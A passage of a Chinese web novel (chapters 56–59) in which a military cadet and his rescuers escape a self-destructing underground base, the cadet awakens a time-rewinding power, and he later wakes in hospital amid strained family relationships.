他奔跑在前面,语速加快了些:“没有高等级的组织成员进行反抗,说明A先生应该已经带着核心成员逃窜,我听见他在离开之前吩咐下面的人以最快速度销毁资料,我们必须赶在实验数据全部被删除之前留下备份!” 顾识云立刻跟上,带他冲上三层:“档案室!他们所有的资料都收纳在档案室里,还有一台跑模型的超级电脑!” 然而他们刚踏上三层,整个地下城忽然间天旋地转,穹顶中心的巨大吊灯也跟着剧烈摇晃,两人迅速抓住护栏,却仍被这股巨变震得左右晃动。 顾识云和时茧对视一眼,从对方眼中看到肯定: A先生,或者与他合作的那个背后主使,为了彻底销毁罪证,选择摧毁整个地下城。 “走!”情急之下,顾识云来不及说更多,只抓住时茧的手,要和他一起离开。 时茧甩开他的手,在地动山摇之中,用坚定的双眼望着顾识云:“事关异种,我父亲……上百万联邦军人,是用生命在守护边境线,守护每个联邦子民!” 这一刻顾识云看见的不是一个稚嫩的军校生,而是一个真真正正的、为联邦准备好随时牺牲自己的成熟的战士。 他不需要任何的修饰词,他也不用做任何人的附庸,甚至不必冠以S+Omega这样空前而又伟大的皇冠—— 时茧,第一军校一年级生,联邦预备役战士。 这就是他。 第56章 第 56 章 借口。 顾识云瞳孔紧缩, 时茧犹如一只纤细轻巧的蝴蝶那样挣开他的手,毅然决然地转身飞去危险的风暴中心,哪怕随随便便一道飓风就足以撕碎他那脆弱的翅膀, 也依旧义无反顾。 顾识云叹了口气, 紧跟其后。 同一时刻,正在地面上排查的余宸及陆空指小队十几人也都感觉到一阵地动山摇, 他们勉强适应这摇晃频率后, 跟随着余宸的指引冲向地下城通道口。 地面的震动都如此剧烈, 那么地下…… 余宸满脸严肃, 抛下那些消极想法, 低声用只能自己听见的声音:“撑到我们把你平安带回来, 到时候你想让我做什么都答应你。” 许柏在最前面打头阵, 摸索一阵后, 终于找到入口, 但狭窄的通道早已坍塌, 根本无法容纳多人进入, 他们没有专业的测量工具, 连这段通道被埋了多深都不清楚,更遑论快速清理通道进去。 “怎么办余哥,这需要专业的工兵清排!” 余宸径直走过来一把推开许柏, 沉着脸看向巨石横梁压断下那些仅容人挣扎前进的缝隙,下一刻便在众人的惊呼声中钻了进去。 许柏惊呼:“危险!余哥!这种结构随时都会彻底塌方把你埋进去的!” 余宸攀爬速度未见降低, 声音从洞穴里闷闷地传出:“我进去探明情况,你们分一队人留守洞口向军方汇报情况,一队人去附近寻找还有没有其他可进入通道。” 许柏别无他法,只能遵从,但一个没拉住, 隋边和付岩竟也一前一后冲了进去。 许柏:“……真是都疯了。” 他边安排人手分头行动,边担忧地看向那仍在不停摇晃、掉下建筑垃圾的通道,又何尝不想自己进去找时茧,也总比在这外面什么情况都不知道干等着下好。 “根据余宸传回来的消息,目标区域发生了……地震?”沈行川一愣,“地震也有局部性吗?” 温隅安分析着现场视频,摇头道:“应该是这座地下建筑在修建初期就设置过的自毁程序,他们有人已经进去了?情况怎么样?” “余宸、隋边和付岩已从坍塌通道进入,里面地形复杂,他们仍在探索正确路线,尚未发现时茧和顾识云的行踪;许柏留在外围,根据他发回来的现状分析,需要调动至少团级为单位的排爆工兵人数,才能够快速清理出一条入口,否则很难在短时间内顺利进入地下区域展开救援调查。” “现在从第九军区调人不现实,但时上将已经请求距离最近的第七军区总指挥官邵庭派兵增援,他本人也已经在亲临现场的直升飞机上。” 沈行川在此之前所能够接触到的与军队距离最近的也不过就是温隅安,对方还只是担任单门科的特聘教官,他知道自己毕业后会进入军队,也会升上从前仰望的职位,可当他真正见证到军令如山、军权如山时,他理想而稚嫩的世界观还是被大大震撼了—— 原来一个军区的总指挥官,真的能够做到为了一个或者两个人,而如此大动干戈,发挥出这么巨大的能量。 他呆愣许久,缓过劲后,问出了一个十分不该问、但为了时茧而不得不问的问题:“原来小茧一直提起的父兄,就是时……上将,时序议长,还有您……听他的描述,我一直以为他的家人都以他分化等级太低而羞于提起,可现在看来又完全不是这样。如果真的厌烦嫌恶他,你们怎么可能第一时间耗费这么大的人力物力营救呢,但如果你们不曾厌弃过他,又为什么会把他送进第一军校这种完全不适合他的地方吃苦?” 温隅安似乎没有想到这个看起来规规矩矩的平民学生居然如此大胆,敢问这么贸然又私密的问题,堪称是在摸老虎屁股。 可他却没有要生气的想法,只是轻嗤一声,自嘲般道:“我不清楚我和他的父亲,那位运筹帷幄的第九军区总指挥官对此究竟会作何解释,但我知道时序。” “这是个真正冷血的人,他不在乎这世界上的绝大多数事,无论时茧是S级Omega,还是E级Alpha,于他而言结果都大差不差。他比我们所有人都要忙,陪伴自己亲弟弟的时间并不多,却总期望着没怎么照看的小树苗能长成一株参天大树,即使他从来不将这份期望放在明处,时茧也常因此而感觉到压力。” “至于我,没太多好说的,我一直都清楚我的态度、我的话语,会化成一根根刺深深地扎进他的心里,会伤害到他,但我已经无法停止下去,因为在此之前我就已经在地狱里了。” 温隅安忽然笑了笑,对沈行川说:“其实如果可以,我希望他好好活着,而我死在他手里,他一定不会再恨我,也不会被我越推越远,这样总比两个人都互相折磨地活着好吧?” 沈行川发直的眼睛表示他正在超负荷地解析着这大段话里庞大的信息量,但最后他只是摇摇头:“抱歉温教官,我理解不了您,或者说你们家人的想法。只能说如果我是时茧的家人,在他分化成E级Alpha时,我希望我能够更努力地保护好他,不让他因此而遭受到哪怕一丁点的伤害。” “毕竟,时茧是真正无辜的人,他什么也没做错,不该经历那些痛苦。” 沈行川一句话,如重锤狠狠敲在温隅安的面具上,让他在听到破碎的声音时,也看到了面具下一颗丑陋而扭曲的心。 他不受控制地往后退了两步,身形一晃,双手用力地撑在桌面上,才堪堪稳住。 那一瞬间的眩晕让温隅安心慌无比,无论他嘴上如何逞强,可打心眼里,他知道自己有多卑劣,比沈行川说得更卑劣十倍不止,也并不是将这份卑劣如数坦白,就能够把自己对时茧做过的错事变得理所当然。 他一遍遍地重复自己的卑劣,究竟是在承认,还是……在安慰自己。 坦白的话说上十遍,就能成为道歉吗? 温隅安低声苦笑,喃喃道:“不……” 他只是……他只是…… 只是为自己的不堪找一个借口。 他甚至不配站在这里营救时茧,没有一个落井下石的凶手,配站在拯救者的位置。 温隅安的手颤抖着拿不稳笔,沈行川见状,暗暗叹了口气,又为时茧不值。 帐篷里一时无言,外面忽然传来一阵喧闹,紧接着是谁大喊了一声“皇帝陛下亲驾”,二人方才惊醒,互相对视一眼。 沈行川惊讶道:“难道时家和皇室还有关联吗?!” 想到正在路上的时藏锋和时序,温隅安神色复杂:“非要说联系,我父亲是强硬的去皇派,他向上议院提交过数次要求解散皇室的草案,但最终因为种种原因都未能成功,某种意义上来说时家和皇室算是死对头。” 沈行川激动地情绪瞬间冷却:“那怎么办,不会像那群把牧野教官带走调查的人一样,都是来阻止我们援救时茧和顾学长的吧。” “……也不是。”温隅安表情有些微妙,“他大概是来救自己儿子的。” 沈行川懵逼道:“儿子?谁?时茧?” 等会儿—— 他突然瞪大眼睛—— 脑子里瞬间飘过三个字。 不,会,吧。 眼前画面忽然天旋地转,等顾识云反应过来时,他已经被时茧扑到另外一边,而原来站立的地方已经被巨大的锥形吊灯砸出一个大坑。 他仍有些失神,而这种失误在顾识云这种级别的S+身上是不会出现的,时茧心有余悸:“你刚才在发什么愣?” 顾识云突然一颤,恢复正常:“是我父亲。” “你父亲?” “他离开皇宫,现在正在营地。” “他来救你?” 顾识云却没回答这个问题,只是对时茧说:“刚才多谢你。” “保护下属安危也是指挥官的职责之一,但实战中同样的致命错误希望你不要再犯第二遍。” 时茧冷脸教训人的时候也很带劲,顾识云浑身血液沸腾,丝毫不在意刚刚才与死神擦肩而过,专注和渴望地紧盯着眼前的蓝发Omega。 他们在原地站这一会儿,地下城已经不再震动,又等了会,确认情况暂时稳定下来后,两人方才一前一后跳跃穿梭在碎石乱砖之中。 他们翻过栏杆,站在三层往下看去,柱子倒塌、吊灯碎片飞溅,飘散着一地烟尘,空气中充斥着呛人的火药味。 这座宏伟的地下建筑遭受到了致命性的打击,如今这片豪华的废墟已全然看不出半小时前的井然有序,对于时茧和顾识云原本的计划也造成了不小的阻碍。 “我们兵分两路,你去找出口,我来收集资料。他们是用早先预埋好的炸药想要毁掉这座建筑,很多纸质资料即使暂时没有被爆炸波及,也会很快就被次生灾害例如火灾烧毁,我们动作要快,一刻都不能耽误!” 顾识云点头,即刻从三楼一跃而下。 时茧则如一道流光,灵巧地穿梭在废墟之间。 第57章 第 57 章 这条记忆的长河。 “操, 这组织的头头是疯了吗,连他们自己的人都不管就炸毁?同归于尽啊?!”余宸怒骂一声,踢开脚边碍事的尸体。 付岩相比之下更小心一些, 招呼隋边一起把那些尸体或者仅剩一口气的重伤患抬到一边。 余宸见状, 催促道:“这种带回去也是枪毙的极端组织成员有什么好救,赶紧把大小姐找到才是正事。” 付岩说:“审判他们该为自己所作所为付出何等代价的是联邦大法官, 而不是我们。军人的职责只是完成任务, 我们没有宣判他人死亡的权力。” 余宸冷笑:“这些条条框框我背不下来不知道你的猪脑子在怎么想, 我只知道多分出一分精力救他们就会让你危在旦夕的室友多一分危险。” “他说得对, 我是来救时茧的。” 隋边最后也选择放下那些伤员, 转身推开挡在身前的柜子, 挥开荡起的烟尘, 隐没在杂乱无章的通道里。 余宸紧跟其后, 付岩叹了口气, 落在最后面替他们收尾。 他们足足花费了半个小时才终于通过坍塌严重的通道来到地下城一层大厅, 刚从废墟里钻出来, 便迎面扑来残留的小苍兰信息素, 虽然已经失去了当时的镇压作用,但依旧让在场的三个Alpha齐齐呼吸困难、心跳加速起来。 褪去强势碾压的意图之后,这点残余的Omega信息素的作用就更偏向于引起Alpha的发.情.期, 余宸作为A+受到的影响最小,却也有些呼吸不稳、血液加快, 而等级更低的隋边和付岩二人则没有那么好运,信息素受到强大而甜美的高等级Omega诱惑后齐齐爆发出来,身体反应也只能咬牙硬扛下来。 余宸喘着粗气,情绪有些激动:“这里怎么会有等级这么高的Omega?残留的信息素都这样……A级,还是A+?总不会是……S级吧。” Omega极端崇拜组织这种名字一听也知道成员里高等级Omega必定不少, 他们在外派之前也通读过军方目前掌握的线索,这个组织犯罪的特征之一就是喜欢挑高等级Omega下手,但无论如何,光凭借残余的、不完整的信息素都能够让一个A+级Alpha受到这么明显的影响,这道信息素的主人即使在高等级Omega中应该也是佼佼者。 “小苍兰?”付岩怔愕,“难道是大小姐?” 小队现在已经习惯用代号称呼对方。 余宸不知出于何种心理,反应很大地反驳了付岩的猜测:“怎么可能?!他不是分化成E级Alpha了吗,怎么可能会是这道信息素的主人。” 隋边见他嘴硬,嗤笑道:“那你不如列举一下除了大小姐以外第二个信息素是小苍兰的人?” 余宸的心里掀起惊涛骇浪,他根本就不敢想这个问题的答案,如果这道信息素的主人真是时茧,他又重新成为了Omega,并且恢复到这么高的基因等级,那他以前对时茧所做过的一切,不就是命运给他开了一个既不搞笑又致命的笑话吗? 时茧恢复成高等级Omega? 别逗他了! 这、不可能……不可能的。 余宸咬紧牙关,艰难地吐出一句:“无论是不是,先把人找到救出来再说。” 隋边勾起一个嘲讽的笑:“知道吗太子爷,你现在的表情真的很难看,像一条垃圾堆里抢面包没抢过的流浪狗。” 余宸目光一沉:“你有种再说一遍。” 隋边挑眉道:“我说,太子爷,你真的很像条狗——” “流浪狗。” “懂吗?” 余宸掌心凝聚出火球,炽浪将他的刘海吹动,现出底下愤怒的眼睛:“你,找,死。” 付岩忙道:“你们都冷静点!别忘了我们的正事!” 然而余宸已经完全红了眼,他可以接受时茧这样羞辱他,却不能接受事实由旁闲人一语道破,打定主意要给隋边一个终身难忘的教训! 忽然一道比他们所有人等级都更高的信息素如天降陨石般沉甸甸地压在每个人头顶,余宸首当其冲,咬紧牙关才没在这股威压下露怯。 余宸怒喝一声:“是谁!” 顾识云从暗处走出来,眉眼冷淡,并不看他:“通道已经坍塌,你们怎么进来的?” 付岩愣了愣,旋即立刻答道:“我们清理出一条勉强可供一人通行的‘小路’,但随时有二次坍塌风险,所以必须尽快找到大小姐,赶在这座地下建筑彻底崩塌前把他救出去。” 顾识云点点头:“这些伤员是你救下的?” “虽然浪费了一点时间,但能够保留下更多人证。” 被忽略的余宸不爽地磨了磨牙:“要不是你非得多管闲事,我们说不定早就找到大小姐了。” 顾识云像是才发现有这个人似的,冷冷地扫过去一眼,又飞快收回视线,仿佛碰到什么脏东西一般。 余宸被这种完全无视的态度激怒,正要发作,却只听顾识云对付岩说:“你做得很好。组织首领对时茧使用了生命绑定的AS,即使这些人只不过是弃子,但他们每个人都和时茧的性命息息相关,多救一个人他就多一分安全。” 闻言,三人集体睁大了眼睛。 惊讶过后,付岩欣喜,隋边懊恼,余宸咬了咬牙,亮起自己的AS,一时间温暖的火焰升起,为塌成废墟的一层大厅带来光明和暖意,嫌弃那些伤员的红发Alpha放下自己的傲气,挨个去查看那些就剩一口气的组织成员。 A+及以上的AS除了极具攻击性之外,也自带一些治疗功能,无法逆天改命,但止血镇痛问题不大。 余宸此刻无比后悔当时拦着付岩救人的自己,如果他不那么自负,兴许能和付岩隋边一起救下更多命悬一线的人;就像如果他不那么自负,就不会因为从前被拒绝的怨怼,对时茧做出无法挽回的伤害。 治疗完最后一个人时,余宸的精力明显颓丧许多,他很少有过这种力量干涸的痛苦感,却也不得不强迫自己,要把时茧救出来的念头支撑着他几乎耗光了自己的AS,最后起身时整个人都剧烈地踉跄了一下,要不是付岩手疾眼快扶了一把,必然会摔个狠的。 顾识云:“时茧正在三层收集他们没来得及销毁的信息,我负责找出口,你们和我一起清理出安全的通道路径。” 三人更想直接去找时茧,他们此行目的如此,但顾识云的安排又的确是稳妥之法,最后也只能忍住冲动,和他一起清理通道。 即使是S+Alpha,在这种完全封闭的危险环境中,又受到诸如伤员、避免次生灾害等等限制,也没有办法立刻炸开一条安全通道,只能用AS在另外三人的配合下缓慢地移开那些碍事的碎石。 他时时刻刻都在担忧着独自一人的时茧,不时抬头看向千疮百孔的三层,从未如此相信过神明的存在,向祂们祈祷能保佑时茧安全归来。 而此时此刻,时茧在翻遍档案室和一些实验室后,终于从遍地狼藉中找到了至关重要的数据手稿和一台电脑,在烈烈火光照映下将它们装进手提箱里,护在怀中咬牙穿过火海。 他闻到了浓烈的蛋白质烧焦的烤肉香味,但已经没时间检查究竟是头发被点燃还是皮肤被灼烧,他的眼睛里只有实验室的门口,无论脚下、前方、四周是怎样滔天的火浪,也依旧一往无前地冲过。 即将冲出实验室的前一刻,无论是地下建筑里的人,还是留在地表清理通道口等待救援的小队,乃至附近居民,刚刚赶到营地的时藏锋、时序,和许柏保持着联络的温隅安、沈行川—— 电视台的直播中,网络以秒为单位的热帖刷新,出租车上收听广播的司机和乘客—— 在这一刻,所有人,都听到了一声地动山摇的爆炸。 一句句撕心裂肺的呐喊被爆炸产生的热浪悄无声息地淹没,强大的、无法反制的能量波以地下建筑为圆心向四周扩散,一瞬间无数人产生了耳鸣。 嗡—— 嗡———— 尖锐的、拉长的,犹如防空警报般的耳鸣让时茧的大脑空白片刻,在四面八方的热量席卷而来时,他的脚下生出来一种飞起来的眩晕感,看见了一条白茫茫的、无边无际的河流。 河流不知东西,不知去向,哗啦啦地奔腾着,不断地激起朵朵雪白晃眼的浪花,每一朵里都蕴含着一小个场景—— ‘爸爸今年也陪我过生日好不好?’ ‘我时藏锋的孩子即使做一只小笨鹰,第九军区也足够他飞翔。’ ‘小茧长大后想嫁给谁?’ ‘等你二次分化,我就能向你求婚了。’ ‘到底谁才是你亲哥哥?小茧再偏心,哥都要吃醋了。’ ‘你哥凭什么不准我来找你玩啊!他就是个养子,我爸说了,我以后可是要当上将的!’ ‘我给你写的情书呢?你没收到吗?’ 忽然一道巨浪扑过,那些明亮的、漂亮的水花无声无息地破碎湮灭在河流里,另外一些水珠高高扬起,却是时茧刻意藏在记忆深处的—— ‘别过来。’ ‘需要我为你和雷雨的婚后生活提供一点刺激吗?’ ‘可是我……只是E级Alpha……我不想去军校……’ ‘一个劣质Alpha而已。’ ‘唉,真是可惜了……’ ‘你丢的是你们时家的脸。’ 时茧没有在岸上,他深溺在记忆的河流里,湿着双脚,浑身冰冷的被推着往前。 再往前。 跨过某一个点后,他忽然看见了一个男人将他护在怀里,而他的瞳孔里映出世界末日的景象—— 这也是属于他的记忆吗? 第58章 第 58 章 从此蝴蝶浴火,破茧重生…… 那也是一场爆炸, 刺眼到夺目的火光、将人瞬间汽化的热量、致命畸变的辐射,气浪呈透明圆形以超过音速的速度扩散,无数人在接触到的一瞬间便化为焦炭。 他们在最高的楼顶, 放眼望去, 广袤无垠的大地上连一丝风尘都没有,那么平静, 平静到火焰燃烧的声音形成山呼海啸, 炙烤着大地上的一切。 但时茧没有感受到任何疼痛, 他在灾难来临那一刻被高大的、雄山般的男人拥在怀里, 他没有闭上眼睛, 而是怔怔地趴在男人宽阔结实的肩膀上, 见证着人类的毁灭, 联邦的毁灭。 同时见证着异种的狂欢。 爆炸波推进到他眼前仅剩几厘米的地方停下, 被紧紧抱着他, 保护着他的男人以一己之力挡下, 而男人的身前又是…… 时茧睁大眼睛, 不受控制地颤抖着声音唤道:“哥……” “温隅安……” 他们以同样保护型的姿势, 但早已在爆炸波来临之前就已经重伤,鲜血在他们的脚下蜿蜒成火焰的形状,顺着真实炽热的火焰一路燃烧到时茧周身。 奇形怪状的异种们爬上玻璃幕墙, 时茧有些颤抖地伸出手,然而下一秒, 那两道身影便在无数异种的合围下化作焦灰,带着呛人的腥气,从他的指尖飞走。 那些异种又转换目标,用一种狂热而又疯癫地目光投向时茧,潮水般向他涌来。 将他抱在怀里的这具身体终于动作, 他伸出手,即使极力克制下手指仍旧在颤抖,唇角溢出止不住的鲜血,依旧以一种强硬地、绝对地保护姿势,将时茧紧紧圈在领地中,用尽最后一丝力气,几乎只有时茧和他自己两个人可以听到: “小茧,活下去。” 他最后一次开启S+Alpha的AS,美洲角雕展翅盘旋在他们的头顶,发出高亢明亮的咴叫,试图靠近的异种潮踏入君主领域后立即遭受到将身体膨胀十倍撕成碎片的反噬。 一滴水打在男人渐渐冷下去的手背上,时茧很低地喊了一声,“爸爸。” 时藏锋永远如同城墙般雄伟的身躯也渐渐化成灰烬,溜过时茧徒劳举起的指尖,和那些被核爆炸吞没的人一样,最终什么都没有留下。 没有活物能再回应他,无论悲伤、叹息还是生命,都湮灭在一场致命的浪波中。 也不知道过去多久,时茧踉踉跄跄地走到天台扶手前,仓惶地四处望去,昔日繁华喧闹的十车道依旧停满汽车,但没有不耐烦的鸣笛声、没有喧哗的人声,整个世界陷入了无声。 但远处有乌压压的黑云像暴风般袭来,时茧抬头看去,是比刚刚规模更大、更恐怖的异种潮。 他忽然从极致的悲伤中生出极致的愤怒,他想把这些异种杀得一个都不剩下,让它们也像那些无辜的人和他的亲人一样彻彻底底地消失在这个世界上,他痛苦地大叫,撕心裂肺地哭吼,最后脱力地跪在地上,把自己蜷缩起来。 已经没有人了。 无论是前面,还是后面,保护他的人,已经死在了这场人类与异种最后的决战之中。 第九军区,这是人类最后的底线,但现在,人类输了。 时茧哭干净最后一滴眼泪,在整个联邦都只剩下他一个人的这一刻,他无比痛恨起自己是受人保护的Omega,从异种的杜鹃计划彻底浮上水面,父亲、兄长……所有人都挡在他的前面,替他挡下全部危险,用无数条命换回来他的命。 不是的……他不想只做一个被保护的没用的累赘,他不想再…… 眼睁睁地看着亲人、好友,全都死在自己眼前。 纯洁剔透的眼泪流入地面,顷刻间便被一旁熊熊燃烧的火焰烤干,但下一瞬火焰恐慌地开始扭曲,风、空气、楼栋、眼前所见的一切,连远处的异种浪潮,甚至是时间,整个世界都开始以时茧为圆心收缩扭曲,充斥着不明噪音的空间里似乎响着时钟滴答的走表声,从缓慢,到逐渐加快、加快—— 滴答,滴答—— 时茧渐渐闭上双眼,半梦半醒之间,他看到一条湍急的河流,没有前后,没有尽头,一会儿是顺流、一会儿是逆流,又好像以他为原点,这条河流在向两个方向流动。 浪花激荡之间,时茧看到了很多场景,有他现实里的记忆,也有刚刚那个“幻境”中的记忆,甚至还有他从未经历过的正在上演的记忆。 这似乎不是一个单纯的平面维度或者多面纬度,他在这条河流里,看见了人生,看见了过去,看见了未来,看见了一朵很小的浪花,也看见了一个很大的宇宙—— 他的灵魂仿佛脱离了躯壳,也或者他已经分不清来到这条河流里的自己究竟是灵魂还是躯壳。 一只冰蓝色的蝴蝶洒着磷光从河流飞过,他的脑海里朦朦胧胧意识到一个概念,时间。 原来他站在时间这条河里,看见了浪花里的宇宙,轻轻一拨弄,就是一次故事线的倾覆。 因果级特殊精神体黎明闪蝶,S++Omega觉醒AS。 时间虫洞。 当你踏入这条时间的河流,可以往前走,可以往后走,你是时钟的修订者,任你来修改故事的结局。 滴答,滴答—— 倒退、倒退—— 停下。 “只差一点儿就能挖通了!”付岩激动道。 顾识云却蹙起眉心,他总觉得眼前这一幕是如此熟悉,仿佛亲身经历过般。 一块石头从通道上方掉下,“啪嗒”一声掉在地上,被余宸不耐烦地一脚踢开。 而接下来,余宸会抱怨:“我想先去找大小姐。” 说着他往大厅走,但只需要三分钟,当他穿过不太好走的狭窄通道时,就会—— 顾识云猛地睁大双眼,顾不上动用AS会造成次生伤害了,边推开最后一点阻碍,边吼道:“余宸!立刻回来!” “带那些伤员走!立刻!三分钟之前出去!” 付岩和隋边马上行动,顾识云毅然决然地转身冲进摇摇欲塌的地下城。 在外圈等候的搜救人员见状也都冲进来帮忙处理伤员,他们有的人想要深入,都被付岩和隋边拦下。 在离规定的三分钟只剩下半分钟的时候,所有尚且存活的伤员俘虏都被救走;最后二十秒,余宸被强行带走;最后十秒,顾识云冲进大厅,从一层一跃而上—— 十、九、八、七…… “跳下来!!” 时茧冲出火海,一抹冰蓝中燃烧着火星,一跃跳下—— 五、四、三、二…… “轰”! 爆炸波自地底向外辐射,地下建筑地动山摇,火海塌石之中,顾识云接住时茧,将他完全搂紧在怀里,克隆版的君主领域展开防护,替这只沐浴着火焰的蝴蝶挡下绝大部分的伤害。 时茧睁开眼,莲花般的白红炽浪中,Alpha低下头,带着缱绻、不舍和深爱,一吻印在他的唇上。 在他耳畔低语,“别害怕。我们很快还会见面。” 再之后,是无边无际的灼痛与黑暗。 隐约间,时茧仿佛回到幼时,赤脚走在家里长长的走廊,在他后面是光怪陆离的记忆碎片,好的坏的,都应声破碎。 时茧缓步走在玻璃渣上,走了几步后速度渐渐变快,最后脚底流着血飞奔起来,忍着刺骨的疼痛将呼啸的黑暗都甩在身后。 在无数破碎的镜片中,一道弱小的、被碎片分割得四分五裂的身影朝着那唯一的光点跑去,只差一点点的时候伸出指尖触碰,随即整个人像被一道白色的漩涡吸入般,整个世界都天旋地转。 从此蝴蝶浴火,破茧重生。 * 眼皮很沉重。 时茧艰难地睁开双眼,入目是一条透明的输液管,冰冷的液体顺着管子打进他的血管里,知觉随之慢慢苏醒,继而就是蔓延全身的疼痛。 他戴着吸氧器,但呼吸仍旧很困难,连稍微动一动手指都觉得重如千斤。 记忆还未完全回笼,时茧只勉强记得他在任务中死里逃生,有人用命救了他的命。 时茧转动着眼珠,嘴唇蠕动着,守了几天几夜未曾合眼的温隅安在困顿中惊醒,察觉到这份细微的动作后,蛇类的瞳孔中迸发出一阵惊喜。 “你醒了!” 时茧忽然停下四处寻找的动作,定定地看着这个熟悉的人,直觉告诉他,他应该在看到这个人的一瞬间就会心痛,然而事实是,他九死一生的心脏在他的胸膛里很平静地跳动,除去供血比平时更费力一些之外,并没有一丝一毫的不适。 时茧没有说话,温隅安并未察觉到任何异常。 医生说虽然没有伤到要害,但以肉身承接那么严重的爆炸,对身体各方面造成的伤害都不能掉以轻心,ICU里都需要观察一周,确认没有伤及性命的大碍后才能转到特护病房。 因此,温隅安只当时茧还没缓过劲来,还不能开口说话。 他在最初的激动过后,后知后觉地感觉到一种尴尬,经历过时茧的生死,他没有哪一刻比现在更明白自己以前做下的事有多混账,最好的选择本应该不出现在时茧面前,可温隅安……根本控制不了自己。 他害怕。 他真的害怕时茧会出什么意外,就好像这件事曾真的发生过那样。 第59章 第 59 章 哥,我们是不能结婚的。…… 冷静下来后, 温隅安与时茧四目相对,总觉得幼弟哪里有些不一样,让他感到些许陌生。 他的心跳也有些慌, 强压下去后, 故作镇定道:“你昏迷了一周,期间只能输入营养液, 现在醒了有没有什么想吃的想喝的?” 时茧定定地看着他, 半晌, 才轻声说:“哥哥, 你不用对我这么好。你知道的, 我现在分化成Alpha, 不可能再和你结婚了。” 分明是轻飘飘的一句话, 却像巨石般砸在温隅安心脏上, 一整颗心突然就沉了下去, 坠到一个漆黑的、缺氧的地方, 让他在那一瞬间就呼吸不上来, 错愕又心痛地看向时茧—— 他为什么会突然说出这样的话。 他为什么被自己欺辱过这么多次, 重伤后醒来第一句话,却还是喊自己叫哥哥,说他好…… 温隅安苦涩地笑道:“不……我对你……根本一点儿也不好。” 他这样说, 时茧的脑子里隐隐约约对此有些印象,却模糊不清。唯独记得清楚的, 只有温隅安从小到大都告诉他,要他长大后嫁给哥哥,做哥哥唯一的Omega。 时茧还小的时候对爱情和婚姻没有概念,他的母亲过世很早,和时藏锋只不过是权贵阶层里最常见的那类联姻, 没有人教他面对这种承诺时应该做何反应,于是为了温隅安手里的糖果,小小的时茧天真地说好呀,等我长大就嫁给哥哥。 等时茧长大后,他明白了这件事,也清楚地感知到对温隅安只是最简单纯粹的兄弟之情,并无任何出格的感情,只将这个约定当做孩提时代天真童趣的笑话。 但作为一个被预测要分化为S级的Omega,时茧从小接受的教育就是他注定会嫁给门当户对、同等价格的顶级Alpha,这样他们之间的结合才不算“浪费”。而他对于这种观念也并不十分抵触反对,因为在时茧对未来的规划中,他从未想过自己会离开时家这个成为城堡也同时成为囚笼的地方。 他知晓外面都在传温隅安就是时藏锋为他精挑细选的“童养夫”,对此也反感,与其和外面其他不知底细的Alpha结合。还不如和从小就知根知底的养兄在一起,乐观点想也能用肥水不流外人田来安慰自己。 可这一切的前提都建立在时茧二次分化顺利分化为一个Omega的基础之上。只要是Omega,他可以不用是S级、A级,甚至可以更低,哪怕是E级也没关系,联邦法律规定,公民结合只受性别限制,而不受基因等级限制。 但造化弄人,时茧偏偏就分化成了Alpha。 那么他无论是E级或者S级,那就都不重要了,只要分化成Alpha,他和同为Alpha的温隅安之间,就再绝无任何可能。 时茧现在还没想起来自己觉醒了Bug级别的AS,也忘记了已经分化为S++Omega,他以为自己躺在刚做完分化失败抢救手术的病床上,以为温隅安眼中的担忧、焦虑,和没由来的愧疚、悔恨,都来源于自己分化成Alpha。 所以,醒来后的第一句话,让温隅安完完全全地一败涂地。 他甚至不敢多看时茧一眼,逃跑似的,狼狈地离开了病房。 迎面正撞上时序,后者冷淡地扫了一眼,对他明显异常的情绪未置一词,只问:“小茧醒了?” 温隅安显然是崩溃的,闻言低低地应了一声,却不想再说更多。 放在以前,他在时序,在任何人面前,都不可能是这样一副失魂落魄的模样,他自知作为时家养子出身不够名正言顺,所以总以严苛的标准要求自己,用权贵中稀少的和善、友好作为自己向上攀爬的工具,带着虚假的面具与所有人交往,恐怕也就只有在时茧面前才暴露过自己最真实的阴暗面。 虚伪,阴狠,绝非善类。 但现在,当温隅安选择从时茧那双宁静的眼睛里落荒而逃的时候,他就忽然间无比厌倦这种伪装。 在向时序问好的那一刻,他忍不住问自己,为什么你可以将你虚伪的善意递给任何一个人,连路边的一条流浪狗都可以得到你作秀似的爱心,唯独对于时茧,你却用尽了自己的恶劣,那么多次的以伤害他的方式从而取得对自己……爱而不得的疏解。 温隅安甚至不想用到“爱”这个字,他深深地感觉到,他这个人同他这个人的爱一样,都叫人无比恶心。 这样恶心的他,怎么还敢若无其事地站在时茧的病床前,对着他惺惺作态。 时序感觉到了温隅安周身浓密的自厌情绪,时茧出了这么大的事后,他重新调查过时茧这些日子在第一军校的档案记录,在为幼弟被余宸等人欺辱而感觉到深深愤怒的同时,也隐约察觉出温隅安和时茧之间那种微妙的关系,直觉这其中也必然发生过自己不愿见到的事。 但事已至此,说这些已经全完了,时序不觉得自己有资格教训温隅安,毕竟连他自己都成为了漠视的帮凶之一,可如果就这样放过温隅安,他又实在替时茧不值,也咽不下这口气。 时序皱皱眉,他年近而立,远比初出茅庐的温隅安和尚未成年的时茧上位者气场更加强烈,只这么一眼看过来,温隅安就感受到某种熟悉的压力。 “我不清楚你究竟对小茧说过什么,又做过什么,但你自己应该清楚自己的身份,他愿意忍耐不代表我或者父亲知道了会当做无事发生轻轻揭过。” 温隅安喉间苦涩:“是……我对不起小茧。” “接下来的一段时间,你要减少出现在小茧面前的概率,以免影响他的恢复。极端组织和爆炸事件还没有调查清楚,把你的精力都用在这上面——包括那些正在抢救的重伤员俘虏,你都需要保证他们每个人都能顺利活下来作为人证。” 温隅安低声道:“……我知道了。” 时序仍旧没有给他好脸色,整理着装,提着鲜花粥衣冠楚楚地进入特护病房。 他的精神体海东青更是比谁都激动地扑扇着翅膀,在病房里盘旋两圈后,降落在时茧的床头,垂下脑袋用尖利的喙轻轻梳理着少年披散在肩头的蓝色长发。 它偏着小脑袋一歪一歪地观察着脆弱的小主人,对方重伤初愈,恹恹地垂着淡色的眼睫。 他的脸颊是病弱的苍白,连嘴唇都没有什么血色,像极淡的白蔷薇花瓣,五官仍旧精致美丽,只是躺在病床上破破烂烂的样子看上去更像个易碎的花瓶,整个人脆弱得仿佛暮春开到荼靡,微风轻轻一吹就会扑簌簌地掉下花瓣雨。 海东青飞下来,心疼地张开翅膀,想要盖在少年的胸膛上,却被一只毫无血色,布满青筋的纤手轻轻挡开。 “咕?” 海东青歪歪脑袋,懵了一下,又飞上去,试图重复刚才没完成的动作。 然而依旧是那只带着小苍兰香气的手,将它推开,懵逼之下,海东青还摔了个屁股蹲两爪朝天。 “咕!” 